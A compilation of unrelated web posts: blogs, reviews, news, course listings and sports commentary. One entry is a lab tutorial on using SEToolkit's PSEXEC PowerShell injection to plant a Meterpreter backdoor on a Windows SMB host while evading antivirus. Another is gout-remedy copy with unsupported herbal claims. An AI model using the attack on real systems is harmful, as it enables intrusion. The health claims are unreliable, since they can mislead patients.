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I lit a few thrift-store votive jars tonight at dinner.
"God, thanks for these candles, which remind us that though today is pretty ordinary, it's actually a holy thing, all of us around this table. Thanks for the sunshine outside, still, and this food, and these people." And we threw in some more words for "hurting places" (my children's term for what other kids call boo-boos), and for the monkey bread on the counter. I'm here, all the way: cold linoleum under my socks and all.
Flickering lights in those glass jars held my attention throughout that whole meal. I'd taken them down from the shelf this afternoon to wash them. The effect was mesmerizing. The sparkle! Drawing me back to right here, right now, this cliched-but-true spilled milk; these kids complaining because it's bean soup again. Dave here for dinner, thank God.
We've had a string of afternoons of ennui, these girls and I: a pudgy-fingered toddler rips a plastic T. Rex from her sister's bony grip, and they both scream, and my voice is thick with fatigue. I bark: "Please. PLEASE." I cannot break up another fight over plastic prehistorics. I cannot: Not until April.
This place, this house is feeling tired, and this isn't a winter thing alone, though that underlines my opinions, I'm sure. I think the place, this rural rental, is losing its magic. The lighting of the candles tonight was an act of grounding our attention; of listening, not complaining. February needed the sparkle, but it was also a mental accord, a nod that the God who gave us this rental home could move us, too, please. We're missing something out here. People, mainly. A place to be for a long while, too.
Augmenting our desire is the fact that our church nests, too. Our oldest two say "I wish we had sidewalks to ride our bikes on" as we drive to our church's new venue, or even the library. "Can we live in a house like that," they ask. We dream. Our church dreams, too. We met in a school for more than a decade (they did; I came late). I imagine more than a few people asked "Can we meet in a place like that, more permanent?" more than once during those years. Finally, late last year, we moved to a permanent venue in a neighborhood in Lansing. We've bought an old building and we're taking out walls, opening it up, removing the pews.
As we as a church will begin to settle into the neighborhood there, there's an energy that reverberates into our imaginations at home of rooting, of being neighbors. I'm not sure how it'll play out, but I sense a motion, like a wave I can see from a distance. I'm not sure how big it'll be til it gets here.
All I know is that now, today, prehistoric creature fights notwithstanding, this meant I washed some dusty jars to nod: I'm interested in something new; something more beautiful than I could ask or imagine, with people and sidewalks. I pried with a fork the dried wax from the bottom of those jars, stuck on since Christmas. Dropped in new candles; used five matches, whiffed the sulfur of every one. Called the kids to dinner. Took a picture while they washed their hands, before the bean-soup-again tears. As they came to the table, they were interested, skeptical.
"What's this for?" My oldest wrinkled up her nose, suspiciously.
"It's pretty, isn't it," I said.
"Ooh! Turn off the light," Violet begged. Caught one of their imaginations, anyway.
I'm ending February happier than when it began, which can only be divine: a mixture of friendship, books, candles in jars, and monkey bread on the counter. And bigger, new dreams.
Since taking our dishwater vows of stability, I've had the wildest dreams of sidewalks and living by people, in the city. There's a physical desire, here, manifest in the drag of leaving the house to drive fifteen or twenty minutes to get anywhere. It's manifest in our long afternoons, where even the mailman's coming and going is a mystery to us. It's in the words of "Sidewalks in the Kingdom": we Christians should be city people, either by living there, or supporting and enjoying the fruits, culture, and vitality of the city; we're neither, and the lack of a web of sidewalks around a neighborhood out here is more than a cute illustration. Maybe to fully realize what community is, we should be in proximity to it. There is something to those sidewalks, those neighborhoods.
And so we pray, and wait for snow to melt, for green things. We wait for the juncos to move out; and for us, maybe, too.


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What: Shares of semiconductor company NXP Semiconductors (NASDAQ:NXPI) rose 13.8% in March, according to data provided by S&P Global Market Intelligence. There was no new news in March driving this surge, but the company's fourth-quarter results, announced in early February, started the stock on a recovery that continued into March.
So what: NXP had previously provided dismal guidance for the fourth quarter, calling for steep revenue declines in all of its segments. The closing of the company's acquisition of Freescale Semiconductor in December made it more difficult to make comparisons, as about one month of Freescale's results were included in the company's fourth-quarter numbers.
NXP managed to beat analyst expectations for both revenue and earnings in the fourth quarter, although it's unclear whether these estimates included any impact from Freescale. Revenue came in at $1.61 billion, $300 million higher than the average analyst estimate, and non-GAAP EPS of $1.25 was $0.18 better than expectations.
NXP expects first-quarter revenue of $2.17 billion and non-GAAP EPS of $1.10, numbers that are difficult to compare to the prior-year period because of Freescale's contribution. This guidance was apparently better than investors were expecting, though, as shares rallied on the news.
Now what: Shares of NXP now sit around $82, down about 27% from the 52-week high. The company is facing a difficult demand environment, and its profitability is slumping. NXP expects a non-GAAP operating margin of 23% during the first quarter, down from 26.2% during the prior-year period. Freescale also managed lower margins than NXP prior to the merger, and that could further drag down profitability until the company achieves its planned synergies.
The Freescale acquisition does put NXP in an enviable position as the leader in both the automotive semiconductor market and the microcontroller market, and while demand for its products may be choppy in the short term, CEO Richard Clemmer is optimistic in the long term:
... we believe NXP is ideally positioned in the right markets, with the right customers and highly competitive portfolio of solutions. We believe the merger will result in significant value creation both in terms of giving us an even more competitive cost structure as well as broadening the product portfolio we can offer our customers.
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Tool - Live in Boston
**edit..found this picture and it shows the stage etc a little better.
May 21, 2006
Orpheum Theater, Boston Mass
- There is a fine line between clever and stupid.
When Tool announced this brief warm up tour it sent fans in to a frezny. The band who has not been on the road for over 3 years with an even long time between cd releases was sure to garner attention. The band was doing a brief theater tour before heading to Europe, then to return to America to play larger venues. The final show of this tour was here in Boston at the 2800 seat Orpheum Theater.
Tickets went on sale and sold out about as fast as it takes you to refresh your screen. It was done..over. Web sites selling tickets like ebay and craigslist saw asking and selling prices in the mid to high triple digits.
I made my way to Boston in a heavy downpour, parked and walked across the Boston Common to the theater. The line was down the alley and back up the street (past the beantown pub for you locals). I was planning to tape the show, but went back down to where the people were being "ticket checked" to proceed down the alley I decided that taping was just not in the cards. More on this in a bit.
I went back to my car and by this time the rain let up so I dropped off my umbrella and headed back. I had an extra ticket to sell and really its not in me to rape someone for tickets..its not. The ticket w/face and fee was $66.66. As I was headed back to the venue I got the usual "buying/selling" etc. I said "Selling". Here is the chat..
me - I have one
scalper - where and how much
me - balcony..i'd like face and fee..and maybe a bit for parking..so how about $75.00
scapler - (almost laughing) I'll give you $100.
me - ummm okay...(keep this in mind).
So I get in the massive line up around the bend. Conversations in lines always kill me. Everyone one ups the next person about how many times they have seen the band, who they know and the random YEEEEEEEEEEAHHH DUEEEEEEEEEEEEEEEEDE!. I passed the first check point, ticket in hand and was waved down. Then the pat downs in the street started. It was over the top. Tool hates pictures and their shows being taped so they pat down was the most extensive I have ever been thru. I got in and had to go to the bathroom so bad I just headed to my seat. I was in the balcony, row N about 3 seats in off the isle.
The band was due to go on at 8, but I am sure due to the line outside they held up some. At 830 the lights went down and the curtain went up. Tool was on the stage.
The set up was (me facing the stage) Adam Jones (guitar) on the left, and Justin Chancellor (bass) over to the right. On the drums pretty much center stage was Adam Jones and off to his right on a stage riser about the same height was singer Maynard James Keenan. I can't really say front man because he was behind the guitar and bassist. The front part of the stage had a carpet that was some pentagram styled thing but Adam and Justin were about as far away from each other as possible. Video screens ran from right to left across the back of the stage. The entire show was a video hallucinogen. It was nonstop (well duing the music).
The band opened with "Stinkfist" and the whole balcony was rocking. This theater was built in the 1860's and anyone that has gone to shows in boston at the orphuem usually has 2 things to say "Cool venue" and what is with the 50 cent (now 1.00) restoration fee going to?! I have been going to shows there since the late 80's and they haven't done a lot I tell you. The fucking balcony was moving..i mean up and down, side to side. It was creepy. I kept saying if this gives way can I ride it down and live?
I am a very casual fan of the band I will admit. They played 46 and 2 next and that is probably my favorite song. During the song I kept thinking that everytime I read about Tool you hear how technical the band is, or what great players and I wasn't seeing it..but by the end when Danny was doing some fills I was "getting it".
The Orpheum, to me, is one of the best sounding venues but at times it felt really brickwalled to me. Over the top rumbles and I had a hard time hearing the guitar as well as the vocals (even when Maynard was speaking when the band was not playing I had a hard time understanding).
The set list was quick. They'd take a moment to adjust the sound for "the next song" and get right to it. During Rosetta Stoned Maynard uses a megaphone but that effect was lost until the later part of the song. Not sure if there were issues but until the second half of the song I had no idea what he had strapped to himself.
Tool is also famous for no encores or "breaks" before an encore. After Lateralus Danny got up from his kit and sat over on Maynards riser. The rest of the band walked over and did the same. I heard that this is the "lull" where fans would go nuts looking for an encore (see fine line between clever and stupid). After what seemed like 5+ minutes of them soaking in the love they got up and pounded out Vicarious and ended it all with Ãnema. 1 hr and 45 minutes later it was all done. Lights up as the band walked off the stage.
Eventually a guy (the seat I sold) came in. After the show he said to me "did you sell the ticket?" and I played dumb and said "No I bought one from a guy". I had to ask him "What did he get you for?" Sit down for this my dear readers...$325.00. Now before you call me nuts (trust me I feel it) I didn't really want to sell for a lot because the person was going to be next to me. Think about it..you sell at 67.00 ticket for 325 and then the guy sits next to you? He now knows you have 325.00 of his on your person.
Overall it was a visually stunning show. I like rock shows like that. What Maynard lacks in the "classic" front man the bands competence with their instruments are second to none. The moments I felt bored, they'd pull something exciting out. The downside for me was the muddled mix (but that could be the balcony) and the little interaction while in such a small venue.
Finally the full set if you care:
Forty Six & 2
Right In Two
Lost Keys
Rosetta Stoned
The Pot


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No one will ever be able to convince me there's a good reason for making character so painfully shy that they speak very little or not at all. For one thing, this makes it hard for characters to communicate if the character sticks strongly to this trait. Everything must be one sided and, believe it or not, that leaves the silent character in control of the scene.
But more than that, these characters need to be taken care of. They need to be babied and protected not only because they don't speak but also because the reason they don't speak probably has something to do with some major tragedy. Poor, wittle Sue was tormented into silence.
At least these Mary Sues spare us the witty banter.
"She doesn't speak much, however if she does she usually delivers some kind of information that is relevant to the situation at hand."
"Personality: Well... she doesn't speak too much. She's ashamed of her voice and goes to great lengths to keep from talking, even as far as learning a bit of sign language and carrying a notepad around wherever she goes so she can write down the things she wants to say to people. "
"Personality: Alice is a shy person. She doesn't speak often and keeps to herself. She doesn't like to be around many people, andwsometimes wishes that she wasn't born."
"She has pale skin, and she doesn't like to be touched by anyone but her adopted mother, Kaitlyn. She doesn't speak much, although when spoken to, her voice is like a song by itself. She's been told she was unbelievably gorgeous, although at times she is disgusted with herself."
"Personality :: Naomi is very quiet. She doesn't speak much unless absolutely needed."
"She is, indeed, a good girl and does as she is told. She doesn't speak much, but when she speaks, it's worth listening to."
"Personality: Nindeth is rather quiet, she doesn't speak easily to people she doesn't know well. Only those with patience and kindness can truly learn to know her. She is calm and collected, always thinks before she acts."
"She doesn't speak much, but is full of wisdom and skill in all areas."
"Miu is such a quiet girl. She doesn't speak very much and is basically shy. She doesn't like to be in crowds or be the center of attention. She even gets uncomfortable when just one person is looking at her."
Don't let being mute fool you. She's still wise beyond her years, terribly gorgeous and skilled at everything.
"Personality: Aiko is an extremely shy girl, and being mute doesn't help her with social skills (not many people know the mute language), she can be seen as an anti-social kid, but, the truth is, she's just most of the time ignored."
"Manfred bowed his head down low, but he was kicking himself on the insides. "Duh huh Manfred! She's mute you moron!" he thought to himself. He didn't really know what to say, he felt sorry for her but didn't want to bug her about it."
"Boi: Layanna is a rather strange girl. She's mute, but can understand others fine. Also she can't hold much energy herself, so she dances to summon enough energy for her spells."
"One of her ears is shredded from a fight with a dog, and she's mute, but has found a way to communicate through her sister, Still. Heavily pregnant, but her mate was killed, so looking for another one."
"Name: Shizuka/ Which means quiet in japanese
Specal: She's mute... That means she cant talk"
"A few moments of silent finger-talk later, the incident is forgotten. Sirco is a mute. At the start, it was hard to communicate, but by using basic gestures and translating it in written form, both Roland and Shuffle now knew enough to communicate with their "sister"."
"Stand-offish at first, Rosuto is a quick obeserver; picking up everything that a normal person would miss. Quick, soft-spoken for when she does speak, but most of the time she's mute; Rosuto seems to have a soft spot for the hard-luck cases."
"Phyre is a thief, born and raised on the streets of Firelle, due to the unexplained death of her parents when she was just three years old. Now she is nineteen years old and a little over five feet tall with long red hair and green eyes. Normally, however, her hair is tied in a bun to keep it out of her way, especially while working. She's mute and has a dragon symbol tattooed on her tongue."
"Mistkit is a silent kit, of course, and prefers to stay to herself most of the time, stuck in her 'obsessive shell' of things. Nonetheless, she is a very, very hyper and playful kit, and wants to prove to herself and ShadowClan that just because she's mute, does not mean she has no destiny or cannot be a Warrior."
And, because it had to happen:
"Other:She's mute,and a very good computer hacker.She's also a neko."
Tuesday, March 31, 2009
Speak little and be a Mary Sue....
1 comment:
- PM said...
"Mute hacker cat-girls who force their way into RPs and Sue all over the place, on the next List Bitch!" :oD
- March 31, 2009 at 1:00 PM
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Engineers at University of Washington have come up with a new communication system that uses radio signals as power source and then reuses existing Wi-Fi infrastructure to provide Internet connectivity to battery-free devices. Called 'Wi-Fi' backscatter, engineers believe the technology will play a major role in the evolution of 'Internet of Things'.
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The research will be soon published at the he Association for Computing Machinery's Special Interest Group on Data Communication's annual conference this month in Chicago. The team behind 'Wi-Fi' backscatter plans to set up a start up company on the technology.
The new technology is based on an old research that had proven low-powered devices such as wearable devices or temperature sensors were capable of running without batteries or cords, by sourcing energy from radio signals in the air. The new research goes one step further by making it possible to connect these devices to the Internet.
However, providing Wi-Fi connectivity had its own set of challenges, especially the power consumption. Researchers built an ultra-low power tag prototype featuring an antenna and circuitry that enables Wi-Fi devices without consuming a lot of power. The tags actually look for Wi-Fi signals moving between router and smartphone.
Researchers claim Wi-Fi backscatter tag can communicate with a Wi-Fi device at rates of 1kbps with about 2 meters between the devices. They plan to extend the range to about 20 meters and have patents filed on the technology.
"You might think, how could this possibly work when you have a low-power device making such a tiny change in the wireless signal? But the point is, if you're looking for specific patterns, you can find it among all the other Wi-Fi reflections in an environment," said co-author Joshua Smith, a UW associate professor of computer science and engineering and of electrical engineering.
Source: Washington.edu
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To continue my streak of lazy-blogging, today, I'm just going to introduce folks to five blogs that I read, through some of their recent posts. Sorry, more substantive MTBE writing (e.g., posts that I've been working on about A. Balabanov's post-imperial hangover, the well-advertised novinka of the past six months, Gastarbaiter and "the world through the eyes of DPNI newsfeed") is on the backburner for the next month, as I wrap up some odds and ends.
1. Intercontinental Cry, a site dedicated to chronicling indigenous struggles world-wide, recently posted on major overlooked struggles of the past November. It's a good introduction to the site's global outlook on issues.
2. Anti-History/In Another Life, with its usual blend of personal, political and historical story-telling, reflects on the violence in Nandigram (West Bengal).
3. Window on Eurasia has had a number of interesting posts of late on ethnic and religious politics and politicking in Russia. See, for instance, a piece on the prospects of teaching tolerance in Russian schools and a write-up of the role of non-ethnic-Russian republics in last week's elections.
4. With rather more guilt, I read Ideas in Food to look at recipes for dishes that I will never put together, due to lack of time, ingredients and patience. The food—like the compressed Stilton, served with an Asian pear apple, toasted bee pollen and reduced vinegar, pictured above—is pretty to look at, even if one can't help but think of fiddlers and a burning empire.
5. Last and least, McFry has recently brought Sam McPheeters' new blog Loom of Ruin to my attention. A lot of it is just his on-going doodling, but with Sam you're sure to get a gem now and then if you can wait/wade through the bullshit. Like his review of Van Halen at the Staples Center.
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1612 (4/10); The Life of Others (9/10); Eastern Promises (6/10); Zhestokost' [Cruelty] (2/10); The Walker (7/10); Things We Lost in the Fire (5/10); Perfume (7/10); Fur (8/10).
1612 (4/10); The Life of Others (9/10); Eastern Promises (6/10); Zhestokost' [Cruelty] (2/10); The Walker (7/10); Things We Lost in the Fire (5/10); Perfume (7/10); Fur (8/10).


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Sociology Course Descriptions
SOC 100, INTRODUCTION TO SOCIOLOGY, 4 credits
Begins with the question "How is social order possible?" and examines how groups form and how they elaborate codes (norms, roles, values) and exert control over members' behavior. Selected topics in the empirical study of how people's character and life chances are affected by society's organization and how social arrangements continue or are changed. Offered each semester.
SOC 101, FAMILY LIFE, 4 credits
The study of the social forces and cultural traditions shaping different kinds of family relations and emotional qualities of family life. The emergence of the modern family and its current concerns. Changes in the patterns and meanings of woman-man and parent-child relations. The causes and consequences of variation in these patterns, processes, and problems. Offered in alternate years.
SOC 108, RELATIONS BETWEEN MEN AND WOMEN, 4 credits
Love and its aberrations, men's and women's perceptions and treatments of one another, the nature of masculinity and femininity, the gay and lesbian communities in America, and pornography analyzed from a sociological perspective. Offered in alternate years.
SOC 115, SOCIAL PROBLEMS, 4 credits
Private troubles and public issues. How some troubles become social problems. Social problems as consequences of modern developments in city life, and in changing forms of economic behavior. The diverse social policies in responding to social problems. Offered in alternate years.
SOC 206, URBAN CULTURES AND COMMUNITIES, 4 credits
The geography of the contemporary city as a place of diverse communities and clashing cultural assumptions. Urban planning and the social consequences of different architectural arrangements. Urban life, country life, and suburban life as dream and nightmare. Offered in alternate years.
SOC 245, MEDIA, SOCIETY, AND CULTURE, 4 credits
An analysis of the role of radio, television, magazines, movies, newspapers, and the computer on-line services in our society. Overview of the interactions between audience, media controllers, and political institutions. Offered every third year.
SOC 254, DEVIANCE AND SOCIAL CONTROL, 4 credits
Critical examination, through original works, of the major contrasting approaches in American sociology to the explanation and interpretation of deviance. Attention will be given to formal, medical, and informal norms and sanctions. Offered in alternate years.
SOC 282, LIFE CYCLE, ADULTHOOD, AND AGING, 4 credits
An introduction to the field of social gerontology, including the study of current thinking and research about the changing social conditions for the elderly in industrialized societies. Offered each year.
SOC 326, DEMOGRAPHY, 4 credits
A systematic introduction to the study of human populations. Historical and contemporary global population issues related to size, growth, and composition will be included. Examines social, economic, and biological factors associated with fertility, mortality, and migration. Prerequisites: SOC 100 and CORE 130 or higher-level mathematics course.
SOC 342, SOCIAL PSYCHOLOGY, 4 credits
Overview of major social psychological theories and methods of study; emphasis on socialization, attitude formation and change, prejudice and discrimination, persuasion, and small groups. Prerequisite: SOC 100. Offered every third year.
SOC 347, SOCIAL MOVEMENTS AND SOCIAL CHANGE, 4 credits
Key issues in the study of socio-cultural change. Dynamics of movements which have sought to promote or resist changes in society, culture, or human character. Broader processes of change that keep shaping the world of our experience. Relations of particular social movements to long-term cultural changes. Offered every third year.
SOC 351, CRIMINAL JUSTICE SYSTEM, 4 credits
A study of the entire range of behaviors in the criminal justice system, from those who commit what are called crimes, to those who enforce the laws defining what is criminal, to those who prosecute, convict, sentence, and incarcerate. The life of men and women behind the walls and the social consequences on their families and communities. Offered in alternate years.
SOC 365, MEDICAL SOCIOLOGY, 4 credits
The study of contemporary issues in medical and health care. Special attention is given to the efficiency and effectiveness of health care delivery systems and also to the pervasive inequality in the quality of care in the United States. Offered every third year.
SOC 374, SOCIAL THEORY, 4 credits
An inquiry among major social thinkers in the 20th century into the conceptions of the good life and the metaphors they use in explaining the relationships among persons and between persons and various social institutions. Some metaphors are love, the jungle, the organism, the marketplace, the stage, and the game. Prerequisite: SOC 100. Offered each year.
SOC 376, ETHNICITY AND RACE, 4 credits
The study of different ways of arranging the relations among racial, ethnic, and religious groups in complex heterogeneous societies. Also the inquiry into the ideological, social, and psychological sources of prejudice, cooperation, and peaceful coexistence. Group identities, their subversions, manipulations, revivals, and upgradings. Prerequisite: SOC 100. Offered each year.
SOC 380, INDEPENDENT READINGS AND RESEARCH, 1-4 credits
The student undertakes an extensive research project in an area of sociological inquiry. Choice of supervising instructor and preliminary plan must be approved prior to registration for the course. Prerequisites: SOC 100 and permission of instructor.
SOC 390, PRACTICUM, 4 credits
The practicum entails assignment to some community agency or setting where the student will participate in a minimum of ten hours a week in the regular activities sponsored by the agency. Each student keeps a daily log of activities, reports regularly to the supervisor in the field, and each week meets with or reports to the faculty advisor. In recent years students have completed their practica in health facilities, in criminal justice programs, and at community centers, among younger and older persons. Offered each year. Prerequisite: SOC 100 and a minimum of two additional courses in sociology.
SOC 499, SENIOR SEMINAR, 4 credits
Required for all majors in sociology, the seminar continues the development of critical awareness of sociological theories and methods of research. Each student develops a project on some aspect of the general sociological theme identified by the instructor. Each participant makes an oral presentation to the other members of the seminar and submits a final, written paper. Seminar topics vary from year to year. Prerequisites: SOC 100 and SOC 374. Offered each year.


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Gout is actually a form of arthritis. Gout pain is the result of the build up of uric acid in the body. Uric acid is a result of crystal-like formations that travel in the blood stream. These jagged crystals are the cause of the redness, swelling and pain that gout is infamously known for.
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One food you should add to your diet is the tart cherry. This ruby red fruit has been proven to help dissolve the crystals in the joints. Based upon medical university research the antioxidants naturally found in the tart cherry, including Anthocyanins, flavonoids and over 17 other natural compounds actually help to reduce inflammation in the joints.
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Not if you are suffering from gout! You should avoid eating meats because all meats contain purines. Purines lead to higher levels of uric acid (cause of gout) in the blood stream and cause gout problems. We suggest eating no more than 6 ounces of meat, fish and poultry per day.
4. Alfalfa-
This herb is a great source of minerals and nutrients. But it also has been shown to neutralize uric acid in the body. Its simple and can be found in health food stores.
1. If you have a family history of gout, you may also suffer from gout. 2. Being overweight also contributes to gout. 3. Drinking excess alcohol or people drinking large amounts of alcohol on a continued basis can contribute to gout. 4. People how had an organ transplant are more likely to have gout than those who have not an organ transplant. 5. Men are more likely to get gout than women, however more women are getting gout. 6. The consumption of high purines food including seafood, alcohol and meats like kidney's and liver.
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One type of gout herbal medicine that has shown some success for gout sufferers is Devil's Claw. This natural remedy has been used for many years as it helps with many different things that can go wrong with the body. One of its best properties is that it can lower the amounts of uric acid in the body, and that means it can be a preventative measure to ward of future gout attacks. However, it can also help take away some of the pain associated with a gout attack in full swing, so it can also be used when the pain creeps up on you and you find yourself in the middle of a bad flare up.
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Centuries ago, gout was known as the disease of kings! This is because a typical king's lifestyle was conducive to gout symptoms. And here are gout remedy tips that have recently been researched and proven effective!
2. Flush Uric Acid-
Water is the main source of flushing anything! Think of your toilet in this case. A good way to flush the uric acid that causes gout is to drink enough water and eat enough water-soluble fiber. In other words, you should drink at least 12 glasses of water per day and eat 5-7 servings of fruits or vegetables.
Terry Johnson, a resident of Grand Rapids, Michigan, munchies on dried blueberries for the convenience and taste. 'I work behind a computer for eight hours a day and I like to snack. I began eating dried blueberries instead of a candy bar from the vending machine. Now I feel good when I snack because I am eating fruit instead of candy.'
Healthy Eating for Healthy Living in 2005 Eating healthy is fast becoming a way of life. American's are living longer, however, the goal of many is not to simply live longer, the goal it is to live a longer and healthier life. Simple everyday fruit can help.
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There is one gout herbal medicine that you won't need to talk to your doctor about, and they may even suggest it to you. Some berries and fruits have great properties, and one of those properties has to do with lowering the amounts of gout inducing uric acid. Cherries are often touted as the best of these, and you could try eating at least a half of a pound a day to see if that helps you. Give it a week or two before deciding if it is working. If you don't like cherries, you can try blueberries, black berries, and many of the other darker colored berries. They might not be as good as cherries, but they can help you. Alternatively try a cherry extract supplement for the same protective effect.
Bilberry can be helpful, as it can also lower uric acid levels in the body. It is also thought to protect some of the tissues from degeneration, which can help with pain and healing.
What is the Cause of these Painful Crystals? Here is a brief list of some of the top causes of the causes of these painful crystals, aka gout:
How to Fight Gout? Fighting gout is not as hard as it appears to be when you really look at the pain and swelling caused by gout. The best way to fight gout is to make changes to your behaviour and eating habits like taking a walk after dinner to loss some of the calories you had at dinner. In addition, you also want to add specific foods that have been proven to help dissolve the jagged crystals in the joints.
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When the pain of gout is overwhelming, and it seems that nothing appears to be helping, trying alternative treatments to see if those might offer come relief is usually the next step. A change in diet is always a great idea for managing gout, but it doesn't always take away the pain immediately. When looking for new treatments, you may have to follow a rather untraditional route, but that doesn't mean traditional medicine can not help you. You can try gout herbal medicine to see if that helps, but you should always do so under the supervision of your doctor.
The reason why gout remedy tips are so effective is because they eliminate or lessen the uric acid between your joints. And the uric acid is what is causing the gout flare-ups!
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The wonder of the cherry is the anthocyanins. According to research from Michigan State University tart cherries contain anthocyanins and bioflavonoids, which inhibit the enzymes Cyclooxygenase-1 and -2, and prevent inflammation in the body. These compounds have similar activity as aspirin, naproxen and ibuprofen.
Juniper Berry comes in capsule or liquid form, and also works to reduce uric acid. There is a gout herbal medicine called Nettle Root that is supposed to help the kidneys work better so they can more effectively remove the uric acid in the body, and that helps keep gout attacks to a minimum.
Further investigations revealed that daily consumption of cherries has the potential to reduce the pain associated with joint inflammation. Many are choosing to drink cherry juice, eat cherries or consume tart cherry pills for relief of gout, arthritis and joint pain.
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Updating a report from yesterday, it looks as though Arias is done for the year.
A calcium buildup in his shoulder is restricting the motion of his rotator cuff, and once that's cleared out surgically, it will be seen whether there is damage to the rotation cuff or the labrum.
"It could be as 'simple' as cleaning that up to create more space for his shoulder not to be impinged. It could be a longer-term issue. He did a great job for us last year, and we were counting on him to be right there literally right in the middle of things in the bullpen for us. It's unfortunate, but I feel bad for him because he saw what the opportunity was coming in to spring training and he was never right from the very first day."
Thursday, April 22, 2010
Yep, Arias is out for the year
Labels: Alberto Arias, Injuries, Shoulder
1 comment:
- Joe said...
Have a question: So since Alberto Arias was on the major league roster, would his DL time count on his major league service time?
- April 22, 2010 at 7:11 AM
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Target: Window Server
Attacker machine: kali Linux
In this article I am going to make powershell injection attack though SEToolkit; for this attack it is necessary that SMB service must be running and you should aware of username and password of your target pc to get the Meterpreter session.
Let's Begin The Game!!!
Scan the victim IP from NMAP by typing following command on terminal in kali Linux
Nmap –sV 192.168.1.104
Under version scan it shows port 445 is open and if you are not aware from port protocol services then let me tell you that port 445 is use for SMB protocol for making communication between two different operating systems like as we have Linux and windows.
Now Click Applications > Exploitation Tools > Social Engineering Toolkit > setoolkit.
A new terminal gets open for setoolkit framework and now you have to follow these steps for making attack on target.
From screenshot you can perceive that it through a menu to select following approach for attack.
Choose penetration testing (fast-track) and type2 for this method.
Fast-Track is an automated penetration suite for penetration testers. So from next screenshot again we have following option, choose PSEXEC Powershell Injection and type 6 for it.
PSEXEC Powershell Injection Attack: This attack will inject a meterpreter backdoor through powershell memory injection. This will avoid Anti-Virus since we will never touch disk or memory. Will require Powershell to be installed on the remote victim machine. You can use either straight passwords or hash values.
Now give following information to execute attack on victim pc.
Enter remote IP as rhost: 192.168.1.104
Enter username: administrator
Enter password: [email protected]
If you don't know the domain name hit enter only for this and same for random select to number of threads hit enter.
Enter listener IP as lhost: 192.168.1.3
Enter port number: 445
Now this will generate a payload for powershell injection and start loading metasploit framework itself. From below image you will found that through alphabetic shellcode we have got meterpreter session1 open.
Now type sessions to view active session
Further Type sessions –I 1 to get inside meterpreter mode.
Meterpreter> sysinfo
{NOTE: This attack is depending upon the version of SMB PROTOCOL; if version is updated of 2.1 then may be this attack is not successful. Use aggressive scanning method for version detail.}
Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here


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Thursday, December 25, 2008
Family Fanart!
My lovin' family! For Christmas instead of "to" and "from" name tags I drew the present's recipient... and if they didn't recognize their caricature then they couldn't have the present haha! :P Heather got more gifts hence the two caricatures (she doesn't have a twin sister... or I'm just totally clueless...)
Labels: fan art, illustrations
5 comments:
- Red-Rose said...
This is really cute. Hes looks so sly in the third picture of the first row. :D
- December 26, 2008 at 5:17 PM
- DeathPlug said...
hahah awesome!!
- December 27, 2008 at 5:20 AM
- Brian Evinou said...
I can really relate to gerry in this one.
- December 28, 2008 at 1:48 PM
- Eksa said...
- December 30, 2008 at 5:11 AM
- HKF said...
What a great idea! Why havn't I thought of that?
Cutest thing ever!
- January 1, 2009 at 8:01 AM
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Who Will Step Up?
When it comes to the Portland Trail Blazers, you know what you're going to get out of the starting lineup. Damian Lillard and LaMarcus Aldridge will be the go-to options on offense, Wesley Matthews and Nicolas Batum will impact the perimeter on both ends of the floor and Robin Lopez will do the dirty work so the rest of the crew doesn't have to.
The bench, on the other hand, is almost a complete mystery.
At this point in the process, we have a good idea of what the rotation will look like in 2014-15, but what we don't know is who will step up when we least expect it. Chris Kaman should prove to be reliable game in and game out as long as he's healthy, and the same can be said about Steve Blake.
The problem is that neither of those veterans will be dynamic playmakers, which is where a youngster like C.J. McCollum has a chance to make a name for himself.
Entering his rookie season, C.J. McCollum drew plenty of Damian Lillard comparisons. They were both four-year players out of mid-major programs, and they could both light up a scoreboard when given the opportunity.
Unfortunately, McCollum's first season was quickly derailed, as he broke his foot in training camp and never quite got into the rotation the way he'd hoped.
With Mo Williams officially gone, having signed with the Minnesota Timberwolves, it's more important than ever that McCollum establishes himself as a scoring option in the second unit. Portland's bench was dead last in points per game last season (by a long shot), and while swapping out Williams for Steve Blake should help improve the defense, it's unlikely Blake matches the 9.7 points per contest we saw at the backup-1 last year.
So how can McCollum boost his production? First and foremost, more minutes. The former Lehigh product only saw the court for 12.5 minutes per game last season (4.0 in the playoffs), and that has to increase if he's going to improve.
But here's the catch: He must first show improvement in order to earn those minutes.
One thing we've seen from McCollum up to this point is his ability to score off the dribble. That's an invaluable trait for today's point guard, but he has to be smart about where and when he's shooting. His field-goal percentage was just 41.6 percent in his rookie campaign, and his free-throw percentage was a surprisingly low 67.6 percent.
Three-point shooting, however, was an area where we saw not just competence, but confidence as well. McCollum shot 37.5 percent on the year from downtown, giving us reason to believe he deserves more than the 2.1 attempts per game he took in 2013-14.
The next question to ask is whether McCollum is a point guard or a shooting guard. According to 82games.com, he played just one percent of the team's total minutes at point guard, while spending 15 percent of the team's total minutes at the 2 in 2013-14.
The problem with this is that McCollum is undersized for the position. At 6'4″, 200 pounds, the second-year player is a classic tweener. He and Blake will likely split time at both positions throughout the upcoming season, but chances are, Blake, as an established veteran, will control the role of floor general while McCollum comes in for stints at the 2 in order to provide outside shooting.
Another candidate for this year's X-factor is Thomas Robinson. The big man from Kansas showed flashes of extreme play-making abilities last season, and he could very well provide the same energy behind LaMarcus Aldridge in 2014-15.
The problem is that Thomas Robinson's role isn't that of a scorer, while McCollum's is. That's an area the Blazers desperately need help off the bench, and while the sophomore will be competing with Will Barton for minutes this season, he has a chance to break into the rotation if he surprises us all with efficiency and scoring throughout the year.


